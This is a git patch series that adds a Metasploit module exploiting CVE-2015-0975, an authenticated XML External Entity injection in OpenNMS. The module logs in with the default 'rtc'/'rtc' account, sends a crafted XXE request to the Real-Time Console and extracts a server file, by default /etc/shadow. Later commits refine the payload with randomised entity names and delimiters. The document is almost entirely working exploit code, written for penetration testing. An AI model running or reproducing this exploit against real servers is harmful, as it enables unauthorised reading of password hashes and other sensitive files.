From 766a07a904cad617eaba6554f57ee7a1f4f05647 Mon Sep 17 00:00:00 2001 From: jstnkndy Date: Tue, 13 Jan 2015 22:08:08 -0500 Subject: [PATCH 1/6] Add CVE-2015-0975 XXE for OpenNMS <= 14.0.2 --- modules/exploits/linux/http/opennms_xxe.rb | 91 ++++++++++++++++++++++ 1 file changed, 91 insertions(+) create mode 100644 modules/exploits/linux/http/opennms_xxe.rb diff --git a/modules/exploits/linux/http/opennms_xxe.rb b/modules/exploits/linux/http/opennms_xxe.rb new file mode 100644 index 0000000000..fa2292f397 --- /dev/null +++ b/modules/exploits/linux/http/opennms_xxe.rb @@ -0,0 +1,91 @@ +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenNMS Authenticated XXE', + 'Description' => %q{ + OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface. + Although this attack requires authentication, there are several factors that increase the + severity of this vulnerability. + + 1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the + core of OpenNMS is that these components need to run as root to be able to bind to low-numbered + ports or generate network traffic that requires root" + + 2. The user that you must authenticate as is the "rtc" user which has the default password of + "rtc". There is no mention of this user in the installation guides found here: + http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default + admin password of "admin" for security purposes. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Stephen Breen ', # discovery + 'Justin Kennedy ', # metasploit module + ], + 'References' => + [ + ['CVE', '2015-0975'] + ], + 'DisclosureDate' => 'Jan 08 2015' + )) + + register_options( + [ + Opt::RPORT(8980), + OptBool.new('SSL', [false, 'Use SSL', false]), + OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']), + OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]), + OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]), + OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"]) + ], self.class) + + end + + def run + + print_status("Logging in to grab a valid session cookie") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), + 'vars_post' => { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'], + 'Login'=> 'Login' + }, + }) + + unless res.headers["Location"].include? "index.jsp" + fail_with(Failure::Unknown, 'Authentication failed') + end + + cookie = res.get_cookies + + print_status("Got cookie, going for the goods") + + xxe = ']>&xxe;' + + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'), + 'data' => xxe, + 'cookie' => cookie + }) + + # extract filepath data from response and remove preceding errors + + if res.body =~ /(.+)<\/title\/?>/m + title = $1 + end + + result = title.match(/"(.*)/m) + + print_good("#{result}") + + end +end From e0a7f531cc3e9beff767907cd37535e5c136aa1f Mon Sep 17 00:00:00 2001 From: jstnkndy Date: Tue, 17 Mar 2015 10:10:51 -0400 Subject: [PATCH 2/6] Added error checking, randomness, uuid delimiters --- modules/exploits/linux/http/opennms_xxs.rb | 107 +++++++++++++++++++++ 1 file changed, 107 insertions(+) create mode 100644 modules/exploits/linux/http/opennms_xxs.rb diff --git a/modules/exploits/linux/http/opennms_xxs.rb b/modules/exploits/linux/http/opennms_xxs.rb new file mode 100644 index 0000000000..d2cbda62b2 --- /dev/null +++ b/modules/exploits/linux/http/opennms_xxs.rb @@ -0,0 +1,107 @@ +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenNMS Authenticated XXE', + 'Description' => %q{ + OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface. + Although this attack requires authentication, there are several factors that increase the + severity of this vulnerability. + + 1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the + core of OpenNMS is that these components need to run as root to be able to bind to low-numbered + ports or generate network traffic that requires root" + + 2. The user that you must authenticate as is the "rtc" user which has the default password of + "rtc". There is no mention of this user in the installation guides found here: + http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default + admin password of "admin" for security purposes. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Stephen Breen ', # discovery + 'Justin Kennedy ', # metasploit module + ], + 'References' => + [ + ['CVE', '2015-0975'] + ], + 'DisclosureDate' => 'Jan 08 2015' + )) + + register_options( + [ + Opt::RPORT(8980), + OptBool.new('SSL', [false, 'Use SSL', false]), + OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']), + OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]), + OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]), + OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"]) + ], self.class) + + end + + def run + + print_status("Logging in to grab a valid session cookie") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), + 'vars_post' => { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'], + 'Login'=> 'Login' + }, + }) + + if res.nil? + fail_with("No response from POST request") + elsif res.code != 302 + fail_with("Non-302 response from POST request") + end + + unless res.headers["Location"].include? "index.jsp" + fail_with(Failure::Unknown, 'Authentication failed') + end + + cookie = res.get_cookies + + print_status("Got cookie, going for the goods") + + rand_doctype= Rex::Text.rand_text_alpha(rand(1..10)) + rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10)) + rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10)) + delimiter = SecureRandom.uuid + + xxe = %Q^ + + + ]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}^ + + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'), + 'data' => xxe, + 'cookie' => cookie + }) + + # extract filepath data from response + + if res and res.code == 400 and res.message =~ /#{delimiter}(.+)#{delimiter}/ + result = $1 + print_good("#{result}") + else + fail_with(Failure::Unknown, 'Error fetching file, try another') + end + + end +end + From f3fc4003d076be83885374f10464eb7d4facb56d Mon Sep 17 00:00:00 2001 From: jstnkndy Date: Tue, 17 Mar 2015 10:19:40 -0400 Subject: [PATCH 3/6] typo --- modules/exploits/linux/http/opennms_xxs.rb | 107 --------------------- 1 file changed, 107 deletions(-) delete mode 100644 modules/exploits/linux/http/opennms_xxs.rb diff --git a/modules/exploits/linux/http/opennms_xxs.rb b/modules/exploits/linux/http/opennms_xxs.rb deleted file mode 100644 index d2cbda62b2..0000000000 --- a/modules/exploits/linux/http/opennms_xxs.rb +++ /dev/null @@ -1,107 +0,0 @@ -require 'msf/core' -require 'openssl' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'OpenNMS Authenticated XXE', - 'Description' => %q{ - OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface. - Although this attack requires authentication, there are several factors that increase the - severity of this vulnerability. - - 1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the - core of OpenNMS is that these components need to run as root to be able to bind to low-numbered - ports or generate network traffic that requires root" - - 2. The user that you must authenticate as is the "rtc" user which has the default password of - "rtc". There is no mention of this user in the installation guides found here: - http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default - admin password of "admin" for security purposes. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Stephen Breen ', # discovery - 'Justin Kennedy ', # metasploit module - ], - 'References' => - [ - ['CVE', '2015-0975'] - ], - 'DisclosureDate' => 'Jan 08 2015' - )) - - register_options( - [ - Opt::RPORT(8980), - OptBool.new('SSL', [false, 'Use SSL', false]), - OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']), - OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]), - OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]), - OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"]) - ], self.class) - - end - - def run - - print_status("Logging in to grab a valid session cookie") - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), - 'vars_post' => { - 'j_username' => datastore['USERNAME'], - 'j_password' => datastore['PASSWORD'], - 'Login'=> 'Login' - }, - }) - - if res.nil? - fail_with("No response from POST request") - elsif res.code != 302 - fail_with("Non-302 response from POST request") - end - - unless res.headers["Location"].include? "index.jsp" - fail_with(Failure::Unknown, 'Authentication failed') - end - - cookie = res.get_cookies - - print_status("Got cookie, going for the goods") - - rand_doctype= Rex::Text.rand_text_alpha(rand(1..10)) - rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10)) - rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10)) - delimiter = SecureRandom.uuid - - xxe = %Q^ - - - ]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}^ - - res = send_request_raw({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'), - 'data' => xxe, - 'cookie' => cookie - }) - - # extract filepath data from response - - if res and res.code == 400 and res.message =~ /#{delimiter}(.+)#{delimiter}/ - result = $1 - print_good("#{result}") - else - fail_with(Failure::Unknown, 'Error fetching file, try another') - end - - end -end - From 0490af8ba813ccf114138163de2dff2582137990 Mon Sep 17 00:00:00 2001 From: jstnkndy Date: Tue, 17 Mar 2015 10:20:22 -0400 Subject: [PATCH 4/6] Added error checks, randomness, and uuid delimeter --- modules/exploits/linux/http/opennms_xxe.rb | 32 ++++++++++++++++------ 1 file changed, 24 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/http/opennms_xxe.rb b/modules/exploits/linux/http/opennms_xxe.rb index fa2292f397..d2cbda62b2 100644 --- a/modules/exploits/linux/http/opennms_xxe.rb +++ b/modules/exploits/linux/http/opennms_xxe.rb @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Auxiliary def run print_status("Logging in to grab a valid session cookie") + res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), @@ -60,6 +61,12 @@ class Metasploit3 < Msf::Auxiliary }, }) + if res.nil? + fail_with("No response from POST request") + elsif res.code != 302 + fail_with("Non-302 response from POST request") + end + unless res.headers["Location"].include? "index.jsp" fail_with(Failure::Unknown, 'Authentication failed') end @@ -68,7 +75,16 @@ class Metasploit3 < Msf::Auxiliary print_status("Got cookie, going for the goods") - xxe = ']>&xxe;' + rand_doctype= Rex::Text.rand_text_alpha(rand(1..10)) + rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10)) + rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10)) + delimiter = SecureRandom.uuid + + xxe = %Q^ + + + ]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}^ res = send_request_raw({ 'method' => 'POST', @@ -77,15 +93,15 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => cookie }) - # extract filepath data from response and remove preceding errors + # extract filepath data from response - if res.body =~ /(.+)<\/title\/?>/m - title = $1 + if res and res.code == 400 and res.message =~ /#{delimiter}(.+)#{delimiter}/ + result = $1 + print_good("#{result}") + else + fail_with(Failure::Unknown, 'Error fetching file, try another') end - result = title.match(/"(.*)/m) - - print_good("#{result}") - end end + From fa7242388b1e858c70ebe7abee1ea17924849273 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 18 Mar 2015 18:18:54 +1000 Subject: [PATCH 5/6] Move the module to the correct location --- modules/{exploits/linux/http => auxiliary/gather}/opennms_xxe.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/{exploits/linux/http => auxiliary/gather}/opennms_xxe.rb (100%) diff --git a/modules/exploits/linux/http/opennms_xxe.rb b/modules/auxiliary/gather/opennms_xxe.rb similarity index 100% rename from modules/exploits/linux/http/opennms_xxe.rb rename to modules/auxiliary/gather/opennms_xxe.rb From d1a2f58303b28fbbe799748c3e120d5abf5010bf Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 18 Mar 2015 22:17:44 +1000 Subject: [PATCH 6/6] Fix of regex for file capture and format tweaks --- modules/auxiliary/gather/opennms_xxe.rb | 23 ++++++++++------------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/gather/opennms_xxe.rb b/modules/auxiliary/gather/opennms_xxe.rb index d2cbda62b2..4f60c931a3 100644 --- a/modules/auxiliary/gather/opennms_xxe.rb +++ b/modules/auxiliary/gather/opennms_xxe.rb @@ -1,7 +1,7 @@ require 'msf/core' require 'openssl' -class Metasploit3 < Msf::Auxiliary +class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -23,13 +23,11 @@ class Metasploit3 < Msf::Auxiliary admin password of "admin" for security purposes. }, 'License' => MSF_LICENSE, - 'Author' => - [ + 'Author' => [ 'Stephen Breen ', # discovery 'Justin Kennedy ', # metasploit module ], - 'References' => - [ + 'References' => [ ['CVE', '2015-0975'] ], 'DisclosureDate' => 'Jan 08 2015' @@ -62,20 +60,20 @@ class Metasploit3 < Msf::Auxiliary }) if res.nil? - fail_with("No response from POST request") + fail_with(Failure::Unreachable, "No response from POST request") elsif res.code != 302 - fail_with("Non-302 response from POST request") + fail_with(Failure::UnexpectedReply, "Non-302 response from POST request") end unless res.headers["Location"].include? "index.jsp" - fail_with(Failure::Unknown, 'Authentication failed') + fail_with(Failure::NoAccess, 'Authentication failed') end cookie = res.get_cookies print_status("Got cookie, going for the goods") - rand_doctype= Rex::Text.rand_text_alpha(rand(1..10)) + rand_doctype = Rex::Text.rand_text_alpha(rand(1..10)) rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10)) rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10)) delimiter = SecureRandom.uuid @@ -88,14 +86,13 @@ class Metasploit3 < Msf::Auxiliary res = send_request_raw({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'), - 'data' => xxe, + 'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'), + 'data' => xxe, 'cookie' => cookie }) # extract filepath data from response - - if res and res.code == 400 and res.message =~ /#{delimiter}(.+)#{delimiter}/ + if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m result = $1 print_good("#{result}") else